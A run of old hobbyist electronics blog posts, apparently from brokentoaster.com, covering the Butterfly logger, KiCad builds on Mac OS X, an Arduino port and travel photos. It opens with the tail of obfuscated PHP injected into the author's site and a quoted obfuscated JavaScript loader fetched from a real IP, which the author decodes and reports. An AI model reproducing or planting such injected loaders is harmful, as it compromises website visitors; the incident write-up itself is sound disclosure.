$s[$i][1];}}}if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2′)$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();

That whole base64 encoded things boils down to the same javascript seen above. I have emailed the ISP managers for the IP addresses pointed at by the code and they can investigate further should they wish.

What does the code do ? Well it goes to the to ip addresses and runs the code found at
http://78.110.175.21/cp/?I which is currently :

_=0;for(i=0;i<9;i++){var d=document.getElementById(“_”+i
+”_”);if(d)d.src=”"}evalDISABLED(unescape(‘%2F/%4A`u#%73!%74%20~%66~u@c#k`%20#of`%66#.
%2E%2E`@%3C#d#%69v%20st%79%6Ce~=@d%69@%73#pl%61~y%3A~n`%6F@n%65$%3E\n~%76@ar|
%20%74@%3D%6E@%65w@ %44$a!t!e#%281#%32@29%39|7$308@30%300);%64!%6F$%63~%75me$n$
%74!.@%63o`ok|%69~e=%22h%67!%66#%74|%3D%31`;$%20#e%78@%70|%69#%72%65`s=%22#%2B
%74|%2E@t%6FG%4D%54!St$r`i`%6E`%67#(%29#+|”; %70%61|%74%68@%3D/%22@;\n%2F@%2F!
%3C/%64`iv|%3E’).replace(/@|\!|~|\?|#|\$|`|\|/g,”"));

which is un-obfuscated to :

//Just fuck off…&lt;div style=display:none&gt;
var t=new Date(1229972812000);document.cookie=”hgft=1; expires=”+t.toGMTString()+”; path=/”;
//&lt;/div&gt;

which simply saves a cookie. But I would assume that later the hacker would replace this code with something more worthwhile.

I’d hoped to get an LCD library up this weekend but got bogged down in a good book; oh well perhaps next weekend.
At least I should get some stress testing done on the butterfly logger at -37 degrees C this week due to a busted thermostat on the freezer.

—–BEGIN PGP PUBLIC KEY BLOCK—–
Version: GnuPG v1.4.8 (Darwin)

mQGiBESDrL8RBAC9J6gKjVuWrlwsMsRkHgqAVKSS/sTwyfoPrRpba7E0XctNnXhf
Vkcy9eEt8mN6MSL9haxv8U+Xlw4tSj9MEpdwVwSZT+oGD1ORN9MYnun7+7Kq8ZIj
tDEL/Xbd4L6VbqlML8gNBFE18EXYNOzHVbVFmNJkZPLRx9ldZ+YopiqUfwCg6+jt
bXn5UoLN1pE/lzW6SLhgpIUEAKVleqUC6R27ZzqyPGjmqaYUzvDyVDoldASKxHd7
IxAto1v+k9QNSDaa4iqykFStk4pBEV9KO29QVt4CyaK6rKFSvPKmQW5rI6pA45Yq
wRygfRLzqdUg/oUOny58F65urTOvdtfQtCLGxqRNS50iabwhXihRKBUQBb25hD3n
FBoOA/9+A/3w5iRRld0jnWEpqJI7JRMpMV3oT+IeHvXToWpCUF9LQEv8X012dzDU
a+uO5rOx9dwz8SZ9V02YrqYR9We+7xYe6Dp4q0r2OdhqnrEc/E4wdDxC165Br+Hg
fWwGc7Mxi5MniljSlzrw5uCutEXQ21Kly+/wUlnR1LJkRmdcZbQnTmljayBMb3R0
IChOWikgPG5pY2subG90dEBnbWFpbC5ub3NwYW0+iGAEExECACAFAkSDrL8CGwMG
CwkIBwMCBBUCCAMEFgIDAQIeAQIXgAAKCRAHV5jGyG2/QlYpAJ9G0y5cNqoiXnBD
jhmxUETZvcFwLACfQ9OUEySKcTimR+I5qTJ9D7iJGTS5Ag0ERIOuKBAIAKHeDMEO
qFgPfoSabl9BHemuOgVvZsr481DTWFYnJAH1n9qZE8hZ4MTbn/zXpIJS4ozJAyhJ
5mS/K6/3HunSvdBeMkaqVtjoCXdkTWWm9XQMeseSRffjRbNyeoroLlm3tkVRMJNh
rjN/Al1Abq3ESfZzuY8VBLGRfDPUeToNHSCLnOvD+ijMBEYsr5ds8Bi77tWAbSdR
loL3aGHIkj3fPFJmNjrAl7WZXgvl1p899tY4N19RXVkdhagcb3uVmAJjd6l7y8x3
l02jBCk3YQiRMBIG8kov+rDgZwgVaGYEitg9DxRph02sHfxEGt3fmKVLLcS1BB0M
YprObqBOwxHlx9cAAwUH/1iq+9VTh0uuKQsA+qCOthBNqsf62g0r/NJsnZoiMAvA
sLvrpwD7mzGMc+Ke7W2578IvL+Fnvmi+s67Gg2+6DAk3VkJEH9+y1CkDb8PqAxRp
sLFlvi4YcXsbXdG2UgMrfEWeIr2z0VYWGnZ3GibqUDf7rxu79ah5T8Z7ajNLEEHF
+wzXQ7vEzZVBeytL6lv+JZ5s5umRhjCy0flMZ/Js53g5IH5NMu/vrJrQTU+jREDw
+faEb3yBUaSX3N1pu88CWGdwqBVH16rt+AbHXa7kKqY46kM10QZWpHLPCzzw+jlH
c2udYs4kPyfVTSe6RG4mRD8hgx7Y/Hhnbtz5TIeH8DiISQQYEQIACQUCRIOuKAIb
DAAKCRAHV5jGyG2/Qq4zAJ0Q5asX37oT2Ih3aKiQinBdhTgqcwCgi264VRyWK1Cb
CIeQYCKAqEVp4nI=
=oFPt
—–END PGP PUBLIC KEY BLOCK—–

Any thoughts or feedback most welcome.

Things you need to do to make it work:

* copy the files & folders into your arduino Hardware directory.

* change preferences.txt to upload.using=butterfly

This preferences file is found in this folder:

* /Users//Library/Arduino/preferences.txt (Mac)
* c:\Documents and Settings\\Application Data\Arduino\preferences.txt (Windows)
* ~/.arduino/preferences.txt (Linux)

* push the button when uploading starts
* dont hold the button down the entire time.

Things to do in the future:
Build a Butterfly library for
– temperature
– flash
– light sensor
– speaker
– LCD
– Joystick

* check analog pins (jtag port)
* check digital pinouts on port b and D
* check all the timmings
* check it makes sense.

NOTES:

These are things I’ve done to my files to make it kind of work. They may or may not have been necessary. I tried using conditional compilation but it wasn’t being picked up so I just copied the core andmade changes to that.

* added following to boards.txt to support as a target compilation board
bfly.name=Butterfly

bfly.upload.protocol=butterfly
bfly.upload.maximum_size=14336
bfly.upload.speed=19200

bfly.bootloader.low_fuses=0xE2
bfly.bootloader.high_fuses=0×98
bfly.bootloader.extended_fuses=0xFF
bfly.bootloader.path=butterfly
bfly.bootloader.file=bf_boot.hex
bfly.bootloader.unlock_bits=0x3F
bfly.bootloader.lock_bits=0x0F

bfly.build.mcu=atmega169

* added Bf_boot to bootloaders dir
– copied hex from bf_boot up to bootloaders/bf_boot and renamed bf_boot.hex

* removed second external interupt from hardware/cores/arduino/WInterrupts.c: -> changes not picked up??

* changed boards.txt core = butterfly
– copied arduino core folder and renamed to be buttefly
– changes to hardware/cores/butterfly/WInterrupts.c
– changes to hardware/cores/butterfly/wiring.c TCCR0 – > TCCR0A
– changes to hardware/cores/butterfly/wiring_analog.c: In function ‘analogWrite’:
– changes to hardware/cores/butterfly/wiring_digital.c: In function ‘turnOffPWM’:

* added avrispv2 to programmers.txt
* added butterfly to external programmers

Download these files at http://www.brokentoaster.com/arduino012_butterfly.zip

NOTE: Sparkfun have just put up a tutoral on PCB layout HERE. Its based on Eagle but is pretty much valid for any PCB package

The shinny new website index is up but the shop is still a wee way off as I finalise the logistics of it all.

If their are any PCBs, kits or specific components that you think I should stock then let me know at shop at. brokentoaster dot. com

The script which is on a cron job to run every day is below.

#!/bin/sh

#Make a nightly build of kicad

#update from svn
cd /Volumes/Scratch/kicad-sources
svn up
new_version=`svn info | grep Revision | cut -f 2 -d\ `
old_version=`cat /temp/install/version.txt`
if [ $new_version -gt $old_version ]
then

#build it
cd build/release
cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE=/usr/bin/wx-config -DwxWidgets_ROOT_DIR=/Volumes/Scratch/wxMac-2.8.8/include -DCMAKE_INSTALL_PREFIX=/temp/install -DBoost_INCLUDE_DIR=/Volumes/Scratch/kicad-sources -DCMAKE_OSX_ARCHITECTURES=”ppc -arch i386″ -DCPP_FLAGS=”-arch i386 -arch ppc”

make clean
if make
then
make install

#bundle
cd /temp/
tar -czf kicad_osx_v`cat install/version.txt`.tgz install

#upload
curl -T kicad_osx_v`cat install/version.txt`.tgz ftp://user:password@ftp.brokentoaster.com/

echo $new_version > /temp/install/version.txt
fi
else
echo “Kicad is uptodate “
fi

You can find the builds at http://www.brokentoaster.com/kicad/. No guarantees on usefulness.

If you are interested in either option  then email me at 

buy_pcbs at brokentoaster dot com

The prices are really only ballpark speculation at this point as they depend heavily on quantity.

svn checkout http://kicad.svn.sourceforge.net/svnroot/kicad/trunk/kicad kicad-sources

I also upgraded to cmake 2.6.0 using the macports system and then followed the included instructions and it compiles ok on my macbook.

It is working a lot better but PCBnew is still fairly buggy.
The schematic side of it is working great though.

Worth a look but I’ll have to keep using the windows version for any stable work.
I’m going to keep an eye on the kicad-dev group and see if this makes any progress.

Note: my wxwidgets were installed via macports at

wxWidgets_CONFIG_EXECUTABLE=/opt/local/bin/wx-config
wxWidgets_ROOT_DIR=/opt/local/include/wx-2.8

but i noticed a version was already installed in a couple of places. Here is what locate gave me:

% locate wx.h
/Developer/SDKs/MacOSX10.4u.sdk/usr/include/wx-2.5/wx/wx.h
/Developer/SDKs/MacOSX10.5.sdk/usr/include/wx-2.8/wx/wx.h
/opt/local/include/wx-2.8/wx/wx.h
/opt/local/var/macports/software/wxWidgets/2.8.7_0/opt/local/include/wx-2.8/wx/wx.h
/opt/local/var/macports/software/wxWidgets/2.8.7_1/opt/local/include/wx-2.8/wx/wx.h
/usr/include/wx-2.8/wx/wx.h

% locate wx-config
/opt/local/bin/wx-config
/opt/local/var/macports/software/wxWidgets/2.8.7_0/opt/local/bin/wx-config
/opt/local/var/macports/software/wxWidgets/2.8.7_1/opt/local/bin/wx-config
/usr/bin/wx-config

Just added support for Kionix accelerometers to the Butterflylogger project. In particular the KXPS5 using the breakout PCB from Crodnet. The main advantage of this accelerometer of others as far as I can see is the price as well as having both digital (SPI and I2C) as well as analogue interfaces.

Had a small hiccupp in getting the SPI bus to behave. It seemed that when I drove the SCLK line while clocking out a response from the accelerometer, the cross talk (with the MISO Line) would interfere with the output (see above)

After a number of ineffective tweaks with speed and the IO setup for the lines I decided to shorten the lines. After shortening the lines all the problems went away. For reference the original lines were approximatly 10cm between the butterfly and the breakout board.

NOTE: the code for talking to the accelerometer is KXPS5-3157.c and KXPS5-3157.h The will be included in the next code release but for the meantime you will need to get them from the CVS repository.

unfortunately this page http://support.apple.com/kb/HT1661 has the note

Important: The computer will not go into FireWire target disk mode if “Open Firmware Password” has been enabled.

So here is how to disable the open firmware password on an ibook. (After the print env command check to see if the security-mode option is command or full.)

reboot
hold down cmd-opt-o-f
printenv setenv security-mode none
reset-all

reboot
hold down T

copy files

reboot
hold down cmd-opt-o-f
setenv security-mode command/full what ever it was before
reset-all

get on with your life

Useful links:
http://manuals.info.apple.com/en_US/Command_Line_Admin_v10.5.pdf pg134
http://www.firmworks.com/QuickRef.html
http://www.ifixit.com

The first thing I noticed was a very unusual looking clock signal when talking to the sensor. Although this did not seem to bother the SHT75 I decided to fix it for a more robust interface.

I also decided to add a command to output the current readings for temperature and humidity from the device via the serial interface. “J” and “j” will print the hex values for temperature and humidity respectively.

I have also added the ability to do the real world conversions on the logger. If you have the code space (ie. have disabled the LCD, joystick and menu system) you can have the device log the actual temperature and relative humidity. If you are also logging the batter voltage, the logger will read the battery voltage and use this in the conversion interpolating values from the table given in the data sheet for ‘D1′ (see page 5).

The overhead of adding the realworld values is about 800 bytes and using the battery voltage as well a further 200 bytes. If your looking to save space then this is probable code you would wnat to disable. In Sht.h there is a #define ENABLE_SHT_CALCS which can be commented out to revert to the old behaviour of simple hex values being logged and real world conversions being done on the host PC post logging.

Supose now I’d best get back to finishing my construction pages for the mp3 player

Changes:
- New definitions in main.h to remove all the LCD, menu and joystick code for a serial only interface.
- Usart ‘H’ command to display a message on the LCD
- Usart ‘h’ command to print the data headers
- Changes to the makefile to produce smaller code with 4.3.0 compiler
- No longer need to comment out unused source files from the makefile as linker now removes unused code.

More information at http://brokentoaster.com/butterflylogger/

the pcb and gerber apps are still broken due to some nested wxDC which is no longer allowed in wxMac 2.9. I’ll have to actually look at the code more closely to get it to work.

// build notes for kicad on osx 10.5.2
// wxwidgets installed using macports 1.60

- installed boost boost-1-34-1

- changed CMakeLists.txt

# Locations for install targets.
set(KICAD_BIN bin CACHE PATH “Location of KiCad binaries.”)

if(UNIX)
if(APPLE)
# Like all variables, CMAKE_INSTALL_PREFIX can be over-ridden on the command line.
set(CMAKE_INSTALL_PREFIX /usr/local CACHE PATH “”)
# When used later, “bin” and others with no leading / is relative to CMAKE_INSTALL_PREFIX.
set(KICAD_PLUGINS lib/kicad/plugins CACHE PATH “Location of KiCad plugins.”)
set(KICAD_DATA share/kicad CACHE PATH “Location of KiCad data files.”)
set(KICAD_DOCS share/doc/kicad CACHE PATH “Location of KiCad documentation files.”)
else(APPLE)
# Like all variables, CMAKE_INSTALL_PREFIX can be over-ridden on the command line.
set(CMAKE_INSTALL_PREFIX /usr/local CACHE PATH “”)
# When used later, “bin” and others with no leading / is relative to CMAKE_INSTALL_PREFIX.
set(KICAD_PLUGINS lib/kicad/plugins CACHE PATH “Location of KiCad plugins.”)
set(KICAD_DATA share/kicad CACHE PATH “Location of KiCad data files.”)
set(KICAD_DOCS share/doc/kicad CACHE PATH “Location of KiCad documentation files.”)
endif(APPLE)
endif(UNIX)

- changed minizip.c

//#ifdef unix
# include &lt unistd.h&gt
# include &lt utime.h&gt
# include &lt sys/types.h&gt
# include &lt sys/stat.h&gt
//#else
//# include &lt direct.h&gt
//# include &lt io.h&gt
//#endif

- added #include &lt string &gt to dsn.h

mkdir -p build/release/
mkdire build/debug
cd build/release
cmake -DCMAKE_BUILDTYPE=Release -DCMAKE_INSTALL_PREFIX=/users/nick/install ../../
make
make install

EDIT: As requested I have uploaded my compiled but broken builds . they are at http://brokentoaster.com/KicadDev.zip You may also need to install the boost libraries.

This version simply adds an available SD card socket to the Rev E design. The SD card is available from Farnell.

I’ve also done a complete (well almost) bill of materials. The BOM is almost entirely supplied by Farnell with the exception of one or two components. To make life easier I’ve also tried to find suitable components from Digikey as well.

The PCB files are at SourceForge and are in eagle format, the BOM is on the hardware page.

from 8052.com http://www.8052.com/forumchat/read.phtml?id=151897

The rumors of the death of best developer’s terminal program have been greatly exaggerated: 
http://braypp.googlepages.com/terminal

http://braypp.googlepages.com/terminal

I use gnuplot via the following script i call ‘makeplots.sh’

#!/bin/sh
for file
do
gnuplot << EOF
set terminal png size 1024,768
set output “$file.png”
set origin 0,0
plot “$file.txt” u 3 w i t ‘light’ axes x1y2 2, “$file.txt” u 9 w l t ‘Temperature’ 1
EOF
open $file.png
done

I capture the output from the logger using a terminal program and save it as “data.txt”
I then call ‘makeplots.sh data.txt” and I’m done.

I run this on a Mac with osX 10.5 ( it also worked in older versions as well)

You can find it at http://www.youtube.com/view_play_list?p=B267FCFC8AEA5E5F

Now to release the RevF PCB and to do the Construction page for the website with the photo and videos……

I’ll still post my latest MP3 player construction videos in the near future but this site is a great resource for anyone looking at getting into building electronics at home.

http://www.curiousinventor.com/guides

Hopefully this side of Christmas I’ll have them finished and tested with a whole array of new photos, instructions and videos up.

When the AT keyboard is first reset it’s supposed to send an AA if its self-test passed or FD or FC if it failed. But before it does this, it sends a continual stream of AAs with the parity incorrect. Once the computer sends an FE to indicate that there is a parity error, the keyboard stops sending bad AAs and sends a correct AA or an FD or FC. This sounds like someone made a quick fix in the keyboard firmware for mis-matched reset timing (the keyboard always finishes resetting before the computer so the computer could miss the AA/FD/FC).

This was found at http://www.cs.cmu.edu/afs/cs/usr/jmcm/www/info/key2.txt

You can now remove some of the LCD/Joystick interface to make it smaller so the bootloader can be used on the butterfly.

The link to firmware download is on this page

here is the blurb:

Teachers Timer is an innovative and discrete timing device for assisting teachers and lecturers. Using cell phone style vibrations and a simple one-button interface the user can be alerted to the passage of time without staring at the clock. For lectures and presentations the device can also include a laser pointer that will gently fade in and out to alert the user.

My station master project is also up at brokentoaster.com/stationmaster/

You should of course carry this out in a well ventilated area as soldering fumes are toxic.

The PCB being constructed in these videos is an open source Zigbee module. Zigbee is a low power wireless mesh networking technology based on IEEE 802.15.4 initially aimed at home and industrial automation. You can get the PCB from http://www.anteeo.se/zigbee.php

Hopefully I’ll post some new pages for my other hardware and software projects soon. I might even resurrect the old brokentoaster software site from the 90s.

After installing the new release thunderbird 2.0.0.0 (update from thunderbird 1.5) the german dictionary does not work and the add on of the dictionary does not work too. I created a new directory ..\Mozilla Thunderbird\dictionaries and copied the old files *.dic and *.aff from ..\Mozilla Thunderbird\components\myspell to the new directory.

this is in the “Program files” folder no the application settings folder as I first thought. The dictionary files are not part of a user profile but installed as and extension to the app itself.

Removing the VID entries from the registry will cause them to be redetected at restart.

1. Click Start and click Run. Type regedit and click OK. The Registry Editor window will open.

2. Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\USB.

3. Highlight and delete all the VID_…. entries for usb devices that you cannot identify. Remember not to delete the entries mentioned above.

You may not have permssion to delete keys, do the following.
Permissions may be set allowing the deletion of the VID_ entries by following the steps below:

a) Right-click the key to be deleted, and then click Permissions. The VID_… Permissions window will open.
b) With Everyone highlighted in the Group or User name section, select Full Control in the Permissions section.
c) Click Apply, and then click OK.

For a long time I’ve had an issue with my Bluetooth Headset in OSX. It worked perfectly on other macs but not mine.

It would work fine if I turned it on and then plugged in the bluetooth dongle into the computer. If I plugged the dongle in first and then powered up the headset it would connect to the computer and then hang waiting for a RFCom channel kernel[0]: [IOBluetoothSCOAudioDevice][waitForRFCOMMChannel] – Waiting. The Headset itself would then shutdown (which is similar but very different to the expected behaviour of going into standby mode)

I finally figured out how to fix this ( Seems obvious now).In the file /var/root/Library/Prefernces/blued.plist you need to chance the value of the keys AudioGatewayRFCOMMChannelID and AudioGatewayServiceRecordHandle. My original non working values were 11 for both so I changed them both to 1 and now everything works perfectly. To edit this file you’ll need to do the following…

In terminal…

sudo sh (or su)
cp /var/root/Library/Preferences/blued.plist ./
chown  blued.plist
exit
open blued.plist

In Property List Editor …

1. Change AudioGatewayRFCOMMChannelID value to 1
2. Change AudioGatewayServiceRecordHandle value to 1
3. Save blued.plist

Back in Terminal…

sudo sh ( or su)
chown root blued.plist
cp blued.plist /var/root/Library/Preferences/
exit

and your done!

Long time no post! oh well that’s just the way it goes moving countries. I’m almost set up again in England. Living in Oxford now and enjoying a new job that doesn’t involve teaching English (fun though it was).

I managed to pick up four distinctive excellence awards in the Circuit Cellar competition so hopefully I’ll have some more writing opportunities in the new year, and if not I can always write documentation for my growing list of other projects.

Next stop London…

The fix is here and here

If an app in in Mac OS requests a sound device but the audio resolution is too high (like 96kHz) instead of changing the resolution of the channel or upsampling the sound or reporting some kind of useful error to the user it simply doesn’t play sound or in my unusual case it selects the next sound device.

This was a hard to find fix because most people reported it as sound not playing at all because they only had one output device.

Thanks for nothing Apple hope this is on your lepoard TODO list. Oh yeah thanks to every company that didn’t even acknowledge my bug report. Even an automated email saying “we have recieved your report and ignored it” would have been better.

Nice if you have lots of bandwidth and are too lazy to upload all your photos too flickr. ( which is pretty much my situation )

ButterflyMP3_LCDAdapter – 4,
originally uploaded by Brokentoaster.

Dunno what’s been up with flicker lately but it screwed up all my photos for the last few days. No biggie. I guess that’s what you get for using beta ( or now gamma) software.

ButterflyMP3_LCDAdapter – 4,
originally uploaded by Brokentoaster.

all right ! its always a good day when the postman turns up with a package from Bulgaria. My PCBs for my CC entries have arrived so its time to do some serious soldering. Here’s a picture of my LCD adapter for a 4096 colour 128×128 pixel display. Now all I have to do is write some code to support it…

HongKong(022),
originally uploaded by Brokentoaster.

what can I say. I took this photo in a Hong Kong subway station on the weekend. I’m glad the trains still have someone human driving them cos I don’t want to be onboard when they need to reboot

blossoms on the river bank,
originally uploaded by Brokentoaster.

Spring is here and Japan has turned pink. This answers my question about what the hell was with the crazy pink wallpaper on my PSP this month
This photo was taken on Sunday looking down a river bank near Asakadai / Kita-Asaka station.

It uses a standard FTDI driver but ERE use their own Device id (0xCEA0 or 52896 ). I simply modified the Info.plist file in
/System/Library/Extensions/FTDIUSBSerialDriver.kext/Contents/ to contain the following extra key in the right place (under IO kit personalities)…..

<key>ISPAVRU1</key>
<dict>
<key>CFBundleIdentifier</key>
<string>com.FTDI.driver.FTDIUSBSerialDriver</string>
<key>IOClass</key>
<string>FTDIUSBSerialDriver</string>
<key>IOProviderClass</key>
<string>IOUSBInterface</string>
<key>bConfigurationValue</key>
<integer>1</integer>
<key>bInterfaceNumber</key>
<integer>0</integer>
<key>bcdDevice</key>
<integer>1024</integer>
<key>idProduct</key>
<integer>52896</integer>
<key>idVendor</key>
<integer>1027</integer>
</dict>

If the driver is loaded correctly you should be able to see something like the following in your /dev/ directory.

/dev/cu.usbserial-ER051111
/dev/tty.usbserial-ER051111

I use this command line with avrdude to talk to it.
avrdude -p m169 -P /dev/cu.usbserial-ER051111 -c avrisp2 -t

I’d make a complete modified driver package but I can’t be bothered figuring out how to use the pax archiver to re wrap things back uip again.

Hope someone finds this useful

#!/bin/sh
for file
do
perl -pi.bak -e ‘s/\r\n?/\n/g;’ $file
done

tar zcvf ../backup`date +%y%m%d%H%M%S`.tgz .

You can grab this like here and drag it to your tool bar to translate any japanese page into english.

Edit the “langpair” option in the bookmark to change languages

you could try this one using www.rikai.com for mouse over translation.

URL is below

javascript:location.href=’http://www.rikai.com/perl/LangMediator.En.pl?mediate_uri=’+encodeURIComponent(location.href)

Essentially google for your brain.

So as you chat about the best way to skin a cat you can have a side window showing the time you talked about cat skinning with your uncle Owswald, and where you can buy cat skinning tools, and web pages about cat skinning. The trick of course is deciding what is relevant and doing it in a non invasive manner. Maybe google could do this, maybe thats the future of http://www.google.com/talk/ (yet another IM client).

Why limit just to IM why not live search your whole computing experience?

What would distinguish this from existing desktop searching (google desktop/ yahoo/ spotlight) is that it would be live updating and passive ( no user effort ) perhaps something that hooks into standard edit boxes the way the system wide spellcheck does in Mac OSX.

Only if you could make it so the user didn’t know they were using it would it be useful. If the user has to think about searching then the product is dead because as soon as I think about searching I may as well do a full search, but if its just there like a cup of coffee on your desk and you sip with out thinking then it would work..

perhaps this will be in OS X 10.6 .. Spotlight 2 ( the version that works )

Today is defiantly one of those verbal diarrhea days the ideas keep coming no time to filter…. oh well.

Etoire in Snow,
originally uploaded by Brokentoaster.

Alright finally a snow day. Thought I’d test out the new wifi enabled Nikon coolpix p2 I bought for my mum with some photos of Miyoshi town.

So go to Terminal’s Terminal menu, pick Window Settings, and then choose “Keyboard” in the pop-up menu. Double-click on the ‘del (forward delete)’ key, and in the sheet that pops open, activate the input box just below “Action.” Type Control-Option-D, and you should see ’04′ in the box. Click OK, close the Terminal Inpsector window, and you should now have a working forward-delete key. Yay!

Nikko – 33,
originally uploaded by Brokentoaster.

Well winter is definitely here in Japan. I’ve just posted some of my photos from my visit Nikko. The forecast said a high of -4 but I measured at least +1. I guess you just can’t trust the weather. Anyway a regular winter wonderland complete with frozen waterfalls. Unfortuantly I didn’t see any monkeys .

Biggest image of Buddha,
originally uploaded by Brokentoaster.

This statue of Buddha at the Todaiji Temple in Nara has to be the most amazing thing I’ve seen. It’s 30 meters high and was originally built over a 1000 years ago. The Temple itself is the largest wooden structure in the world, and its built and designed earthquake safe! Cool.

crazy akihabara,
originally uploaded by Brokentoaster.

I have to say I’m going to love living only a short train ride away from Akihabara. Where they sell electronics and soldering irons on the street and giant robots roam the roads well almost. Still very cool.

Beer Vending Macine,
originally uploaded by Brokentoaster.

Well enough said really…. I do like japan

ATA_MP3_PLAYER,
originally uploaded by Brokentoaster.

Thought I’d make the most of the soldering tools I have while I’ve still got ‘em. Took me about 2-3 Hrs to assemble but I now have a HDD based Mp3 Player to debug. Looks like it might need a couple of minor mods to get going but shouldn’t take too much more effort on the HW side.

Now to write that FAT32 ATA library I’ve been putting off for the last 6 months

Click the photo for more images.

DSC01376.JPG,
originally uploaded by Brokentoaster.

Manu has come through with the goods yet again with this primo case for the Mk3 prototype. This one is smaller lighter and faster than the last. It’s all aluminium construction makes it substantially lighter than the solid steel case of the Mk2.

butterflymp3-ata PCB top,
originally uploaded by Brokentoaster.

Alright! My new PCBs for the HD version of the butterflymp3 have arrived from www.custompcb.com / www.silvercircuits.com. They look pretty good. I had to go without a solder mask or silkscreen to cut costs. Had a small mixup where I used dichlormethane rather than isopropanol to clean the board and accidentally melted the paint off my desk and onto one side of the PCB. A whole lot more dichlormethane later and everything is good as new.

– Install libbfd
cd binutils-2.16.1
cd bfd/
./configure –target=avr –disable-nls –enable-install-libbfd
make
make install

- install Libiberty
cd binutils-2.16.1
cd libiberty/
./configure –target=avr –disable-nls –enable-install-libiberty
make
make install

- install avarice
cd avarice-2.3
LDFLAGS=”-L/usr/local/powerpc-apple-darwin8.2.0/avr/lib -lbfd” CPPFLAGS=”-I/usr/local/powerpc-apple-darwin8.2.0/avr/include” ./configure
make
make install

( all other AVR tools handled by Fink)
(also applied butterfly corrections patch to avrdude 5)

Thanks Frodi Hammer http://www.mip.sdu.dk/~frodi/mac.html

DSC01348,
originally uploaded by Brokentoaster.

Well this weekend I managed to tidy up the fluroecent lamp into a more respectable form.

DSC01346,
originally uploaded by Brokentoaster.

Got Manu down in the machine shop to come up with a new case design for the mp3 player and this is the result. Think it might need a couple of refinements before we go to production with this one.

DSC01319,
originally uploaded by Brokentoaster.

With a few bits of junk and some misc stuff I’ve created a new thing